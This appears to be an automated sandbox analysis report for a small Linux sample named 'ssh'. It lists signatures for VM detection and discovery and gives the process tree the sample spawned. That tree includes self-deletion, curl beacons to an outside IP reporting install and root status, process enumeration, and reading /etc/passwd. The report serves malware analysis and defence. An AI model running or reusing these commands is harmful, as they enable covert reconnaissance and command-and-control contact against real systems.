Overview

overview

10

Static

static

10

ssh

ubuntu-18.04-amd64

6

ssh

debian-9-armhf

6

ssh

debian-9-mips

ssh

debian-9-mipsel

Resubmissions

18/07/2026, 12:13

260718-pd7saaa13k10

08/03/2024, 13:10

240308-qehefsgf7v10

28/01/2022, 18:06

220128-wprc1aaabl10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/07/2026, 12:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ssh
  • Size 3KB
  • Sample260718-pd7saaa13k
  • SHA256 8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b
  • MD5 SHA1 SHA512 TLSH
Score
6/10
antivmdiscovery

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/ssh
    /tmp/ssh
    1⤵
      PID:644
      • /usr/bin/unlink
        unlink /tmp/ssh
        2⤵
          PID:647
        • /usr/bin/curl
          curl "http://103.206.123.13:8787/test?data=begin+install"
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          PID:650
        • /bin/uname
          uname -a
          2⤵
            PID:778
          • /bin/grep
            grep -v grep
            2⤵
              PID:783
            • /usr/bin/awk
              awk "{print \$2}"
              2⤵
              • Reads runtime system information
              PID:784
            • /bin/ps
              ps -ef
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:781
            • /bin/grep
              grep
              2⤵
                PID:782
              • /bin/grep
                /bin/grep -E "^sftp\$"
                2⤵
                  PID:788
                • /usr/bin/awk
                  awk -F : "{print \$(1)}"
                  2⤵
                    PID:787
                  • /bin/cat
                    /bin/cat /etc/passwd
                    2⤵
                      PID:786
                    • /usr/bin/id
                      id -u
                      2⤵
                      • Reads runtime system information
                      PID:789
                    • /usr/bin/curl
                      curl "http://103.206.123.13:8787/test?data=is+root"
                      2⤵
                      • Checks CPU configuration
                      PID:790

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads